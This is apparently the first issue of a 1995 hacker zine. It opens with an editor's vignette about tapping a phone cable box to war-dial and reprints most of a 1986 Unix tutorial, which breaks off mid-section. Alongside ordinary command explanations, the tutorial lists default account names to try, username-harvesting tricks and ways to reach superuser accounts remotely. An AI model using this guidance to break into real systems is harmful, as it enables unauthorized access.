=09=09=09H A C K E R S =09=09 Issue #1, August 4, 1995 =09=09 edited by: Revolution ----------------------------------------------------------------- =09=09 Table of Contents =46rom the editor . . . . . . . . . . . . . . . . . . Revolution Unix Use and Security From The Ground Up . . . . . The Prophet DBS Hackers Encounter CODE 99 (Part 1) . . . . . .David Lawson DBS Hackers Encounter CODE 99 (Part 2) . . . . . .David Lawson Sendmail Bugs and Exploits List v.01b . . . . . . Per1com/Xer0 Beige Boxing. . . . . . . . . . . . . . . . . . . . Revolution I wanna be a hacker when I grow up. . . . . . . . . . . . Tarc The End. . . . . . . . . . . . . . . . . . . . . . .Revolution ------------------------------------------------------------------- copyright 1995 by Mike Scanlon All articles remain the property of their authors and may be reprinted with their permission. This zine may be reprinted freely as a whole. HACKERS is published monthly by Mike Scanlon, to be added or dropped from the subscription list, or to submit articles mail scanlonr@delphi.com -------------------------------------------------------------------= =20 File #1 of 8... =20 =09=09=09From the Editor It was rather light out for two in the morning, the moon shining in it's fullness two the west over the forest. The corner store lights had just gone out, it's owner gone upstairs to sleep, as the rest of the residents of this small upstate New York community had done hours ago. Except one. A laptop computer and a ripped up phone jack were the only pieces of equipment that made this teenager mysteriously different than the other troublemakers out at this hour.=20 At the foot of the bridge stood a large telephone pole, which held a box at it's bottom labled MIRROR IMAGE CABLE. Two handles were undone and a thousand pairs of terminals were uncovered.=20 Terminals to the world. Two alligator clips were attached to a predetermined pair, a roll of wire unwound into the forest, and the laptop was jacked in and booted up. A program called autoscan was called, and the teenager unrolled a sleeping bag, and ate twinkies while the program ran. =20 Eventually, he undid the laptop and went home, with another list of numbers to try, another list of worlds to explore. The story above describes one species of the diverse kingdom of hackers. This zine is by, for, and about every species in that mysterious kingdom. I began this zine to start where Mondo 2000 and Wired left off: reality. Who are the hackers? =20 I hope for this zine to not only become a repository for articles about hacks, but also about hackers. So if you have something to write about a hack you've accomplished, such as most of the articles that line this issue's electrons, send it in. But if you have an article about hackers, what you think about them, whether it be hackers in the Mitnick sense or in the Levy sense, by all means send that in also. Although I am always welcome to any and all submissions, I have a few thigs in mind for the next issue which I hope someone out there will have some input on: pirate radio, recent phreaking techniques, and some philosophy on the hacker ethic. All comments and criticisms go to scanlonr@delphi.com. =20 * * * * * * * * * * * * * * * * * * * * * * * As always, the standard disclaimer applies...all of these articles are for informational purposes only, Mike Scanlon and the respective authors are not responsible for any illegal acts caused by that=20 information. ------------------------------------------------------------------- File #2 of 8, an oldie but goodie... =09=09=20 =09 =20 =09=09************************************************* =09=09************************************************* =09=09** ** =09=09** Unix Use and Security From ** =09=09** The Ground Up ** =09=09** ** =09=09** by ** =09=09** ** =09=09** The Prophet ** =09=09** ** =09=09** ** =09=09************************************************* =09=09************************************************* December 5, 1986. INTRODUCTION ------------ =09The Unix operating system is one of the most heavily used mainfram= e=20 operating systems today. It runs on many different computers (Dec VAX= 's, AT&T's=20 3bx series, PDP-11's, and just about any other you can think of- incl= uding=20 PC's), and there are many different, but pretty much similar, version= s of it.=20 These Unix clones go by many different names- here are the most commo= n: Xenix,=20 Ultrix, Ros, IX/370 (for the IBM 370), PCIX (for the IBM PC), and Ber= kely (BSD)=20 Unix. This file will concentrate on AT&T System V Unix, probably the = most=20 heavily used version. (The next most heavily used is Berkely Unix.) T= his file=20 will cover just about everything all but THE most advanced hacker wil= l need to=20 know about the Unix system, from the most rodent information to advan= ced=20 hacking techniques. This is the second version of this file, and as I= discover=20 any errors or new tricks, I will update it. This file is, to the best= of my=20 knowledge, totally accurate, however, and the techniques in it will w= ork just=20 as described herein. Note, that these techniques will work on System = V Unix.=20 Not necessarily all, but most, should work on most other versions of = Unix as=20 well. Later, if this file is received well, and there is demand for a= nother, I=20 will release a file on yet more advanced techniques. If you wish to c= ontact me,=20 I can be reached several ways. First, on these boards: Shadow Spawn 219-659-1503 Private Sector 201-366-4431 (As prophet, not The Prophet...some roden= t stole =09=09=09 my name.) Ripco 312-528-5020 Stalag 13 215-657-8523 Phreak Klass 2600 806-799-0016 Or at this voice message system: 800-556-7001 Box 7023 I welcome any suggestions, corrections, or feedback of any kind. And = lastly,=20 thanks for taking the time to read this: THE USUAL DISCLAIMER: --------------------- =09This file is for [of course] informational purposes only. I=20 don't take responsibility for anything anyone does after reading this= file. _____________________________________________________________________= __________ IDENTIFYING UNIX SYSTEMS AND LOGGING IN --------------------------------------- =09A Unix system can easily be identified by its prompts. When you fi= rst=20 connect to a Unix system, you should receive the login prompt, which = is usually=20 "Login:" (Note, that the first character may or may not be capitalize= d.) On=20 some systems, this prompt may be ";Login:" or "User:" (Again, the fir= st letter=20 may or may not be capitalized.) This may be preceded by a short messa= ge,=20 (usually something like "WARNING!!! This system is for authorized use= rs=20 only!"), the name of the company that owns the system, or the uucp ne= twork name=20 of the system. (The uucp facilities will be explained in detail later= .) At this=20 point, you should enter the user name and press return. (You should b= e in=20 lowercase if your terminal supports it.) You should then receive the = password=20 prompt, "Password:" (And yet again, the "P" may or may not be capital= ized.) At=20 this point, you should enter your password and press return. If you h= ave=20 specified the correct username/password pair, you will then be admitt= ed into=20 the system. If you have entered a non-existant username or an incorre= ct=20 password, you will receive the message "Login incorrect" and will be = returned=20 to the login prompt. There is little information given before login, = and there=20 is no way to find valid usernames from pre-login information. =09There are no "default" passwords in Unix. When the system is initi= ally=20 set up, none of the default accounts or any of the accounts created b= y the=20 system operators has a password, until the system operator or the acc= ount owner=20 set one for the account. Often, lazy system operators and unwary user= s do not=20 bother to password many (and in some cases, all) of these accounts. T= o log in=20 under an account that doesn't have a password, you have only to enter= the=20 username at the login prompt.=20 =09You may encounter some occasional error messages when attempting t= o log=20 in under certain accounts. Here are some of the more common messages,= and their=20 causes: =091. "Unable to change directory to /usr/whatever"-This means that t= he=20 =09=09account's home directory, the directory which it is placed in =09=09upon logon, does not exist. On some systems, this may prevent =09=09you from logging under that account, and you will be returned =09=09to the login prompt. On other systems, you will simply be =09=09placed in the root directory. If this is the case, you will =09=09see the message "Changing directory to '/'". =092. "No shell"-this means that the account's shell, or command=20 =09=09interpreter does not exist. On some systems, the account will =09=09not be allowed to log in, and you will be returned to the login =09=09prompt. On other systems, the account will be admitted into the =09=09system using a default shell, usually the Bourne shell. (The= =20 =09=09shell will be explained later.) If this is the case, you will =09=09see the message "Using /bin/sh". UNIX ACCOUNTS ------------- =09There are two types of Unix accounts-user and superuser accounts. = User=20 accounts are the normal user accounts. These accounts have no privile= ges.=20 Superuser accounts are the system operator accounts. These accounts h= ave full=20 privileges, and are not bound by the file and directory protections o= f other=20 users. In Unix, there is no hierarchy of privileges-either an account= has full=20 privileges, or it has none. =09Unix usernames are up to 14 characters long, but usually are withi= n the=20 range of 1-8. The usernames can contain almost any characters, includ= ing=20 control and special characters. (The accounts will usually not contai= n the=20 characters @, control-d, control-j, or control-x, as these characters= have=20 special meanings to the Unix operating system.) The Unix system comes= initially=20 configured with quite a few default accounts, some of which are super= user and=20 some of which are only user-level accounts. Here is a list of the def= ault=20 accounts which usually have superuser privileges: root (Always!) makefsys mountfsys umountfsys checkfsys The root account is always present on the system, and always has supe= ruser=20 capabilities. (Note: most Unix System V systems come initially set up= with a=20 security feature that prevents superuser accounts from logging in rem= otely. If=20 you attempt to log in under a superuser account remotely on a system = with this=20 feature, you will receive the message "Not on console", and will be r= efused=20 admission to the operating system. This will NOT prevent you from usi= ng=20 superuser accounts remotely-you simply have to log in under a user ac= count and=20 then switch over to a superuser account using the su utility, which w= ill be=20 described later.) Here is a list of the user-level default accounts: lp daemon trouble nuucp uucp bin rje adm sysadm sync The bin account, although it is only a user account, is particularly = powerful,=20 as it has ownership of many of the system's important directories and= files.=20 Although these are the only default accounts on System V Unix, there = are many=20 other accounts which I have found to be common to many Unix systems. = Here is a=20 list of some of the accounts I have found on many Unix systems: batch admin user demo test field unix guest pub publi= c standard games general student help gsa tty lpadmin Also try variations on the account names, such as rje1, rje2, user1, = user2,=20 etc. Also, try variations on people's names and initials, such as doe= j, doe, john, johnd, jjd, etc. =09No matter what the format for the usernames, one thing is common t= o all=20 systems-almost all of the usernames will begin with a lowercase lette= r. There=20 is a good reason for this-when logging into the system, if the first = character=20 of the username you type in is in uppr-case, the system automatically= assumes=20 that your terminal does not support lower-case. It will then send all= output to=20 you in upper-case, with characters that are supposed to be upper-case= preceded=20 by a backslash ("\", the Unix escape character), to differentiate the= m from the=20 characters which are meant to be in lower-case. Unix *always* differe= ntiates=20 between the cases, so it is best to stay in lower-case while on the s= ystem. =09As mentioned before, there are no "default" passwords on Unix. Whe= n an=20 account is created, it has no password, until the superuser or the ac= count's=20 owner sets one for it. Unix passwords are a maximum of 11 characters.= The=20 password may contain any character, and the system distinguishes betw= een upper=20 and lower case characters. Many Unix systems implement a special secu= rity=20 feature under which passwords must contain at least 2 non-alphanumeri= c=20 characters (similar to Compuserve's password protection). Yet another= password=20 security feature of Unix allows the superuser to set an expiration da= te on=20 users' passwords. COMMAND LOGINS -------------- =09Many systems have accounts known as "command logins". These are= =20 accounts that log in, execute a single command, and are then logged o= ut. These=20 accounts rarely have passwords. Here is a list of common command logi= ns: who -This is a particularly useful command login. When you enter = this at =09the username of a system with this particular account, the system = will =09display a list of the users currently on the system. A good way to= get =09valid usernames to hack. time -Not very useful. Just displays the time. date -Ditto the above, but displays the current date. Great if you= don't=20 =09have a calendar. sync -This default account is sometimes set up as a command login.= It merely =09executes the sync command, which causes any data which is meant to= be =09stored to be written to disk. UNIX SPECIAL CHARACTERS ----------------------- =09The Unix operating system interprets certain characters in special= =20 ways. Provided here is a list of those special characters, and their = meanings=20 to the Unix operating system: Control-D -This is the Unix end-of-file character. Control-J -Some systems interpret this, rather than Control-M, = as the=20 =09=09return character, while others may use both. The vast majority,= =20 =09=09however, will only use Control-M. Control-Delete -This is the Unix kill character. It will automatical= ly end=20 =09=09your current process. @ -Some systems use this as the kill character. \ -This is the Unix escape character. Its main use it t= o=20 =09=09differentiate between upper- and lower-case characters when= =20 =09=09logged in on a terminal that only supports upper-case. For=20 =09=09instance, if you wanted to send the command "cd /Mrs/data", =09=09(never mind what it does right now), you would type this: =09=09(this is how it would look on your upper-case only terminal) =09=09CD /\MRS/DATA =09=09The backslash before the M would let the system know that the M= =20 =09=09supposed to be upper-case, while the others would simply be= =20 =09=09interpreted as lower-case. =09The characters will rarely be used in usernames and passwords beca= use=20 of the way they are interpreted. Note, however, that these values may= usually=20 be changed once inside the system using the stty command, which will = be=20 explained later. for instance, the end of file character could be cha= nged to=20 control-A if you wished. THE UNIX SHELL -------------- =09The Unix shell is the command interpreter program that accepts you= r=20 input and carries out your commands. It is NOT the operating system i= tself, it=20 is the interface between the user and the operating system. The shell= is a=20 program that is executed when you are logged in, and when you end the= shell=20 program, you are logged out of the system. There is nothing special a= bout the=20 shell program-it is just a regular program, like any other on the Uni= x system.=20 In fact, once you are logged on, you can execute another shell just a= s you=20 would execute a program. This ability, to run multiple shell levels, = can be=20 used to perform some interesting tricks that will be detailed later i= n this=20 file. There is also more than one kind of shell. All the shells perfo= rm the=20 same basic function of interpreting the user's commands, but there ar= e a few=20 differences. Here is a list of the different shells, their unique= =20 characteristics, and how to tell which shell you are using: Shell ----- sh -This is the Bourne shell, the standard shell of Unix System = V, and the =09focus of this file. This shell gives user-level accounts a command= =20 =09prompt of "$", and "#" for superuser accounts. On Berkely BSD Unix= , =09this shell gives an ampersand ("&") prompt. csh -This is the C shell, developed by the Berkely University Sci= ence=20 =09department. This shell is pretty much the same as the Bourne shell= , but =09features different shell programming control structures [shell= =20 =09programming will be explained later, in the section on Unix softwa= re =09development], and has a few luxuries such as aliasing (giving a co= mmand=20 =09or a series of commands a new name), and it keeps a history of the= =20 =09commands you enter. This shell gives a "%" prompt for user account= s and =09a "#" prompt for superuser accounts.=20 ksh -This is the new, Korn shell. This shell combines features of= both the=20 =09Bourne shell and the C shell. It boasts the Bourne shell's easier = shell =09programming, along with the C shell's aliasing and history. Its pr= ompts =09are "$" for users and "#" for superusers. rsh -This is the restricted Bourne shell. It is used for accounts= that the =09superuser wishes to restrict the commands available to. It will no= t=20 =09allow you to execute commands outside of your searchpath (which wi= ll be =09explained later, also, in the section on software development), an= d=20 =09will not let you change directories or change the values of shell =09variables. In all other respects, it is similar to the Bourne shel= l. A=20 =09later section of this file will detail ways to overcome the =09restrictions of this shell. ua -This is a lousy, menu-driven shell for the AT&T Unix PC. (Ye= s, there =09are some of those with dialups!) It implements a lousy windowing =09system that is SLOOOW, even at 2400 baud. Luckily, you can exit to= the =09Bourne shell from the ua shell. =09These are by no means all of the shells you will run across. These= are=20 only the "official" shells provided by the distributors of the Unix o= perating=20 system. I've run across many "home-made" shells in my time. Also, any= compiled=20 program can be used as a shell. For instance, I've used systems run b= y=20 businesses where one account logged in using an accounting program as= a shell.=20 This prevented the account from being used to do anything other than = use the=20 accounting program. Other good examples of this are the command login= s-the who=20 command login, for example, uses the who program as its shell. When t= he program=20 is finished, the account is logged out. You will most definitely enco= unter=20 other such accounts as you hack Unix. UNIX FILES AND DIRECTORIES -------------------------- =09Unix files and directories are referenced with pathnames, a la MS-= DOS. If you are familiar with MS-DOs, then you should have no problem unde= rstanding=20 this section. Unix files and directories are referenced in the almost= the exact=20 same way-the only difference is that it uses the "/" character, not t= he=20 backslash, to separate the directories in the pathname. =09Pathnames are a simple concept to understand, but are difficult to= =20 explain. Imagine the system's files and directories laid out in a tre= e fashion,=20 like this: =09=09=09=09/ (root directory) =09=09=09=09: =09=09=09=09: =09=09=09------------------------- =09=09=09: : =09=09=09: : =09=09=09usr (dir) bill (dir) =09=09=09: : =09=09 -------------- -------------- =09=09 : : : : =09 junk (file) source (dir) memo (file) names (file) =09=09=09 : "/" is the root directory. This is the top directory in the system tr= ee, and=20 all other files and directories are referenced in relation to this di= rectory.=20 The root directory has 2 subdirectories in it, "usr" and "bill". In t= he usr=20 directory, there is a file called "junk" and an empty directory calle= d=20 "source". In the directory bill, there are 2 files, "memo" and "names= ". You=20 specify pathnames by starting at the top of the system, "/", and trac= ing your=20 way down the system tree to the file or directory you wish to referen= ce,=20 separating each directory you must pass through to get to it with a s= lash. For=20 instance, the pathname of the file "junk" would be "/usr/junk". The p= athname of=20 the usr directory would be "/usr". The pathname of the source directo= ry would=20 be "/usr/source". The pathname of the bill directory would be "/bill"= , and the=20 pathnames of the 2 files which reside in it would be "/bill/memo" and= =20 "/bill/names". =09Files and directories can also be referenced by their base names i= f=20 they are in your current directory. For instance, if you were in the = directory=20 "usr", you could reference the file "/usr/junk" by its base name, "ju= nk". If=20 you were in the root directory, you could reference the bill director= y by its=20 base name, "bill". You can reference the file directly above your cur= rent=20 directory in the system tree as ".." and your current directory can b= e=20 referenced as "." =09Unix file and directory names can be up to 14 characters in length= . The filename can contain any ASCII character, including control character= s, except a space. It may contain both upper- and lower-case, and Unix does dis= tinguish between the two. Unix does not use filename extensions, a la VMS or M= S-DOS, to=20 show the kind of file a file is. A period, in Unix, is just another c= haracter=20 in the filename, not a separator between 2 fields in the name. File n= ames which=20 begin with a period are called "hidden" files-that is, they are only = revealed=20 if you issue a special command. =09There are 3 kinds of files in Unix. These are text files, binary f= iles, and device files. Text files are just what you'd think they are from = the name- files of ASCII text, just like what you're reading right now. Binary = files are executable machine-code files. (There are also executable text files,= called=20 shell scripts, that will be explained in detail in the section on Uni= x software=20 development.) Device files are files that represent the system's I/O = devices- disk drives, terminals, etc. Remember, that Unix was created as an en= viroment=20 for software development. Its designers wished for programs written f= or Unix=20 systems to be as transportable between different models of machines r= unning=20 the operating system as possible. By representing the I/O devices as = files,=20 they eliminated the incompatability in the code that handled I/O. The= program=20 simply has to read and write from/to the file, and the Unix operating= system=20 handles the system-dependant details. BASIC UNIX COMMANDS ------------------- =09This section will describe some basic Unix commands, and detail ho= w to=20 get further help on-line. It will briefly provide the syntax for a fe= w commands=20 you will find necessary to know in order to find your way around on t= he system. =09Unix will usually only require that you use the base name of a fil= e or=20 directory you wish to reference if it is in the directory you are cur= rently in.=20 Most commands will also let you specify full pathnames if you wish to= reference=20 files in other parts of the system. Most commands will also let you u= se several=20 wildcard characters when referencing files and directories. These are= : ? -This means to accept any single character in the place of th= e question =09mark. For instance, "t?m" would include both "tom" and "tim". * -This means to accept any character, group of characters, or = nothing in =09the position of the asterisk. For example, "t*m" would include "th= om", =09"tom", and "tim". [] -This means to accept any character within the brackets in th= e position=20 =09of the brackets. For instance, "t[oia]m" would include "tom", "tim= ",=20 =09and "tam". You can also specify a range of characters in the brack= ets=20 =09by using a hyphen. For instance, "t[a-c]m" would include "tam", "t= bm", =09and "tcm". =09Most commands and programs in Unix take their input from the keybo= ard=20 and send their output to the screen. With most commands and programs,= however,=20 you can instruct them to draw their input from a text file and redire= ct their=20 output to another file instead. For instance, assume there is a progr= am on the=20 system called "encrypter", that takes its input from the keyboard, en= crypts it,=20 and displays the encrypted data on the screen. You could instruct the= program=20 to take its input, instead, from a previously prepared text file usin= g the=20 input redirection character, "<". In Unix, as in MS-DOs (which is bas= ed in part=20 on Unix), you execute a program by typing its name. You wish the prog= ram to=20 take its input from a file in the directory you are currently in call= ed=20 "top_secret". You would type "encrypter < top_secret". The program wo= uld then=20 read in the contents of the file top_secret and encrypt it, then prin= t out the=20 encrypted form on the screen. Suppose you wanted to use the encrypter= program=20 to encrypt files you wished to keep private? You could redirect the e= ncrypted=20 output from the screen into another file. To do this, you would use t= he output=20 redirection character, ">". Say, you wished to save the output in a f= ile called=20 "private". You would type "encrypter < top_secret > private". The enc= rypter=20 program would then read in the contents of the file top_secret and wr= ite the=20 encrypted output into the file "private". Nothing would be displayed = to the=20 screen. If the file private does not exist, it will be created. If it= =20 previously existed, its contents will be erased and replaced with the= output=20 =66rom the encrypter program. Perhaps you would want to add to the co= ntents of a=20 file rather than replace its contents? This is done with ">>". The co= mmand=20 "encrypter < top_secret >> private" would append the output from the = encrypter=20 to the current contents of the file private. Again, if the file priva= te does=20 not already exist, it will be created. =09Most commands have one or more options that you can specify. These= are=20 placed after the command itself in the command line, and preceded by = a hyphen.=20 For instance, let's say that the encrypter program had an option call= ed=20 "x", which caused it to use a different encoding algorithm. You would= =20 specify it by typing "encrypter -x". If a command has two or more opt= ions, you can usually specify one or more together in a stream. For instance, l= et's say=20 that the encrypter program has 2 options, x and y. You could specify = both like=20 this: "encrypter -xy". If one or more of the options requires an argu= ment, for=20 example the x option requires a 2 character key, you can specify the = options=20 separately, like this: "encrypter -xaa -y", where aa is the 2-charact= er key.=20 =09The pipe character, "|", is used to channel the output of one comm= and=20 or program into the input of another. For instance, suppose you had a= command=20 called "report" that formatted documents into report format, and you = had a file=20 called "myreport" that you wished to view in the report format. You c= ould type: "cat myreport" | report". This would type out the contents of the fil= e myreport=20 to the report command rather than the screen, and the report command = would=20 format it and display it on the screen. (Note: this example could hav= e been=20 done with I/O redirection by typing "report < myreport"...but it make= s a good=20 example of the use of pipes.) =09You can choose to execute commands and programs in the background-= that=20 is, the command executes, but you are free to carry out other tasks i= n the=20 meantime. To do this, type in the command line, followed by " &". For= instance,=20 "rm * &" would delete all the files in the directory, but your termin= al would not be tied up. You would still be free to perform other tasks. When = you do=20 this, the system will print out a number and then return you to the s= ystem=20 prompt. This number is the process number of the command. Process num= bers will=20 be explained later in this section in the entry for the command "ps".= The=20 command can be stopped before its completion with the kill command, a= lso=20 explained in this section. Example: =09$rm * & =091234 =09$ Note that when you use background processing, the command or program = will still=20 takes its input from the keyboard (standard input device) and send it= s output=20 to the screen (standard output device), so if you wish for the comman= d to work=20 in the background without disturbing you, you must redirect its input= (if any)=20 and its output (if it's to the screen). THE COMMANDS ------------ ls -This command lists the files and subdirectories in a directo= ry. If you=20 =09simply type "ls", it will display the files in your current direct= ory.=20 =09You can also specify the pathname of another directory, and it wil= l=20 =09display the files in it. It will not display hidden files (files w= hose =09name begins with a period).=20 =09Options: =09a -This option will display all files, including hidden file= s. =09Example: =09$ ls -a =09. .. junk source =09$ cd -This is the command used to move from one directory to anoth= er. To go=20 =09to a directory directly below your current directory, type "cd= =20 =09". To move up to the directory directly above your curren= t=20 =09directory, type "cd .." You can also jump to any directory in the= =20 =09system from any other directory in the system by specifying the pa= th- =09name of the directory you wish to go to, such as "cd /usr/source". =09Example: =09$cd /usr/source =09$ pwd -This prints out the pathname of the directory you are curren= tly in.=20 =09Useful if you forget where you're at in the system tree. =09Example: =09$pwd =09/usr/source cat -Displays the contents of a text file on the screen. The corr= ect syntax=20 =09is "cat ". You can use basenames or pathnames. =09Example: =09$cat memo =09Bill,=20 =09 Remember to feed the cat! =09-Martha =09$ rm -This deletes a file. Syntax: "rm ". =09Example: =09$rm junk =09$ cp -Copies a file. Syntax: "cp file1 file2", where file1 is the = file you =09wish to copy, and file2 is the name of the copy you wish to create= . If=20 =09file2 already exists, it will be overwritten. You may specify path= names =09for one or both arguments. =09Example: =09$cp /usr/junk /usr/junk.backup stty -Displays/sets your terminal characteristics. To display the = current=20 =09settings, type "stty". To change a setting, specify one of the opt= ions =09listed below. Options: echo -System echoes back your input. noecho -System doesn't echo your input. intr 'arg' -Sets the break character. The format is '^c' for con= trol-c,=20 =09=09etc. '' means no break character. erase 'arg' -Sets the backspace character. Format is '^h' for con= trol-h, =09=09etc. '' means no backspace character. kill 'arg' -Sets the kill character (which means to ignore the l= ast line =09=09you typed). Format is the same as for intr and erase,=20 =09=09'^[character]', with '' meaning no kill character. =09Example: =09$stty intr '^c' erase '^h' =09$stty =09stty -echo intr '^c' erase '^h' kill '^x' =09 lpr -This command prints out a file on the Unix system's printer,= for you=20 =09to drop by and pick up (if you dare!) The format is "lpr ". =09Example: =09$lp junk ed -This is a text file line editor. The format is "edit ". The=20 =09file you wish to modify is not modified directly by the editor; it= is=20 =09loaded into a buffer instead, and the changes are only made when y= ou=20 =09issue a write command. If the file you are editing does not alread= y=20 =09exist, it will be created as soon as issue the first write command= .=20 =09When you first issue the edit command, you will be placed at the =09command prompt, ":" Here is where you issue the various commands. = Here =09is list of some of the basic editor commands. =09# -This is any number, such as 1, 2, etc. This will move you= down=20 =09=09to that line of the file and display it. =09d -This deletes the line you are currently at. You will then= be =09=09moved to the previous line, which will be displayed. =09a -Begin adding lines to the file, just after the line that = you=20 =09=09are currently on. This command will put you in the text input =09=09mode. Simply type in the text you wish to add. To return to the =09=09command mode, type return to get to an empty line, and press =09=09the break key (which is whatever character you have set as your =09=09break key). It is important to set the break character with= =20 =09=09stty before you use the editor! =09/ -Searches for a pattern in the file. For example, "/junk" = would =09=09search the file from your current line down for the first line =09=09which contains the string "junk", and will move you to that= =20 =09=09line if it finds one. =09i -Insert. Works similar to a, except that the text is inser= ted =09=09before the line you are currently on. =09p -Prints out a line or lines in the buffer. "p" by itself w= ill =09=09display your current line. "#p" will display the line "#".=20 =09=09You may also specify a range of lines, such as "1,3p" which =09=09will display lines 1-3. "1,$p" will print out the entire file. =09w -Write the changes in the buffer to the file. =09q -Quit the editor. =09Example: =09$edit myfile =09Editing "myfile" [new file] =090 lines, 0 characters =09:a =09I am adding stupid text to myfile. =09This is a test. =09^c [this is assumed as a default break character in this example] =09:1,$p =09I am adding stupid text to myfile. =09This is a test. =09:2 =09This is a test. =09:d =09I am adding stupid text to myfile. =09:w =09:q =09$ grep -this command searches for strings of text in text files. The= format is =09grep [string] [file]. It will print out every line in the file tha= t=20 =09 contains the string you specified. =09Options: =09v -Invert. This will print out every line that DOESN'T conta= in =09=09the string you specified. =09Example: =09$ grep you letter =09your momma! =09I think you're going to get caught. =09$ who -This will show the users currently logged onto the system. =09Example: =09$ who =09root console Mar 10 01:00 =09uucp contty Mar 30 13:00 =09bill tty03 Mar 30 12:15 =09$ =09Now, to explain the above output: the first field is the username = of=20 =09the account. The second field shows which terminal the account is = on. =09Console is, always, the system console itself. On many systems whe= re =09there is only one dialup line, the terminal for that line is usual= ly=20 =09called contty. the tty## terminals can usually be either dialups o= r =09local terminals. The last fields show the date and time that the u= ser =09logged on. In the example above, let's assume that the current tim= e and =09date is March 30, and the time is 1:00. Notice that the time is in= 24=20 =09hour format. Now, notice that the root (superuser) account logged = in on =09March 10! Some systems leave the root account logged in all the ti= me on =09the console. So, if this is done on a system you are using, how ca= n you =09tell if the system operator is really online or not? Use the ps= =20 =09command, explained next. ps -This command displays information about system processes. =09Options: =09u -this displays information on a specific user's processes.= For =09=09instance, to display the root account's processes: =09=09$ ps -uroot =09=09PID TTY TIME CMD =09=091234 console 01:00 sh =09=091675 ? 00:00 cron =09=091687 console 13:00 who =09=091780 tty09 12:03 sh =09=09Now, to explain that: The first field is the process number.= =20 =09=09Each and every time you start a processes, running a program, =09=09issueing a command, etc., that process is assigned a unique= =20 =09=09number. The second is which terminal the process is being run =09=09on. The third field is when the process was started. The last =09=09field is the base name of the program or command being run. =09=09A user's lowest process number is his login (shell) process. =09=09Note that the lowerst process in the above example is 1234.= =20 =09=09This process is being run on the console tty, which means the =09=09superuser is logged on at the system console. Note the ? as the =09=09tty in the next entry, for the cron process. You can ignore any =09=09processes with a question mark as the terminal. These processes =09=09are not bewing carried out by a user; they are being carried =09=09out by the system under that user's id. Next, note the entry =09=09for process # 1687, on the console terminal, "who". this means =09=09that the superuser is executing the who command...which means =09=09he is currently actively on-line. The next entry is interest- =09=09ing...it shows that the root user has a shell process on the= =20 =09=09terminal tty09! This means that someone else is logged in =09=09under the root account, on tty09. If more than one person is =09=09using an account, this option will display information for all =09=09of them, unless you specify the next option... =09t -This allows you to select processes run on a specific ter= m- =09=09inal. For example: =09=09$ps -t console =09=09will show all the processes currently being run on the console. =09=09Example: =09=09Remember, options can usually be combined. This will show all =09=09the root user's processes being run on the system console: =09=09$ ps -uroot -tconsole =09=09PID TTY TIME CMD =09=091234 console 01:00 sh =09=091687 console 13:00 who =09=09$ kill -Kills processes. Syntax: kill [-#] process#. You must know t= he process =09number to kill it. You can, optionally, specify an option of 1-9, = to =09determine the power of the kill command. Certain kinds of processe= s, =09like shell processes, require more power to kill. Kill -9 will sto= p any =09process. You must have superuser capabilities fo kill another user= 's =09processes (unless he's using your account). =09Example: =09$kill -9 1234 =091234 killed. =09$ write -This command is for on-line realtime user to user communicat= ions. To=20 =09communicate with a user, type "write ". If more than one =09person is logged in under that user name, you must specify a speci= fic =09terminal you wish to speak to. When you do this, the person you wi= sh =09to communicate with will see: =09Message from [your account name] tty## [<--your terminal] =09Now you can type messages, and they will be displayed on that pers= on's =09terminal when you press return. When you are finished, press contr= ol-D =09to quit. =09Example: =09$ write root =09Fuck you I'm a hacker! [This is not advised.] =09^d =09$ mail -The Unix mail facilities, used to send/receive mail. To send= mail,=20 =09type "mail ". Enter your message and press control-d to = send. =09To read your mail, type "mail". Your first letter will be displaye= d, =09and then you will be given a "?" prompt. =20 =09Here are the legal commands you give at this point:=20 =09## -Read message number ##. =09d -Delete last message read. =09+ -Go to next message. =09- -Move back one message. =09m -Send mail to user. =09s -Save last message read. You can specify the name of the f= ile =09=09to which it is saved, or it will be saved to the default file, =09=09mbox. =09w -Same as s, but will save the message without the mail fil= e =09=09header. =09x -Exit without deleting messages that have been read. =09q -Exit, deleting messages that have been read. =09p -Print last message read again. =09? -Lists these commands. =09Examples: =09To send mail: =09$ mail root =09Hi bill! This is a nice system. =09-John =09^d =09$ =09To read mail: =09$ mail =09From john Thu Mar 13 02:00:00 1986 =09Hi bill! This is a nice system. =09-John =09? d =09Message deleted. =09?q =09$ crypt -This is the Unix file encryption utility. Type "crypt". You = will then =09be prompted to enter the password. You then enter the text. Each l= ine =09is encrypted when you press return, and the encrypted form is disp= layed =09on the screen. So, to encrypt a file, you must use I/O redirection= . =09Type "crypt [password] < [file1] > [file2]". This will encrypt the= con- =09tents of file1 and place the encrypted output in file2. If file 2 = does =09not exist, it will be created. passwd -This is the command used to change the password of an accoun= t. The =09format is "passwd ". You must have superuser capabilities= to =09change the password for any account other than the one you are log= ged =09in under. To change the password of the account you are currently =09using, simply type "passwd". You will then be prompted to enter th= e =09current password. Next, you will be asked to enter the new passwor= d. =09Then you will be asked to verify the new password. If you verify t= he =09old password correctly, the password change will be complete. (Not= e: =09some systems use a security feature which forces you to use at lea= st =092 non-alphanumeric characters in the password. If this is the case= with =09the system you are on, you will be informed so if you try to enter= a =09new password that does not contain at least 2 non-alphanumeric cha= r- =09acters.) su -This command is used to temporarily assume the id of another= account. =09the format is "su ". If you don't specify an account, the =09default root is assumed. If the account has no password, you will = then =09assume that account's identity. If it does have a password, you wi= ll =09be prompted to enter it. Beware of hacking passwords like this, as= the =09system keeps a log of all attempted uses, both successful and un- =09successful, and which account you attempted to access. mkdir -This command creates a directory. the format is "mkdir ". rmdir -This command deletes a directory. The directory must be empt= y first. =09The format is "rmdir ". mv -Renames a file. The syntax is "mv [oldname] [newname]". You = can use =09full pathnames, but the new name must have the same pathname as th= e =09old name, except for the filename itself. ---------------------------------------------------------------------= ---------- =09Further help can usually be gained from the system itself. Most sy= stems=20 feature on-line entries from the Unix System User's Manual. You can r= ead these=20 entries using the man command. The format is "man ". Some Un= ix System=20 V systems also feature a menu-driven help facility. Simply type "help= " to=20 access it. This one will provide you with a list of commands, as well= as with=20 the manual entries for the commands. ---------------------------------------------------------------------= ---------- UNIX FILE AND DIRECTORY PROTECTIONS ----------------------------------- =09Every Unix account is assigned a specific user number, and a group= =20 number. This is how the system identifies the user. Therefore, 2 acco= unts with=20 different usernames but the same user number would be considered by t= he system=20 to be the same id. These user and group numbers are what Unix uses to= determine=20 file and directory access privileges. =09Unix has three different file/directory permissions: read, write, = and=20 execute. This how these permissions affect access to files: read -Allows a user to view the contents of the file. write -Allows a user to change the contents of a file. execute -Allows a user to execute a file (if it is an executable type= of file; =09if it isn't, the user will get an error when trying to execute it)= . This is how these permissions affect access to directories: read -Allows a user to list out the files in a directory (ls). write -Allows a 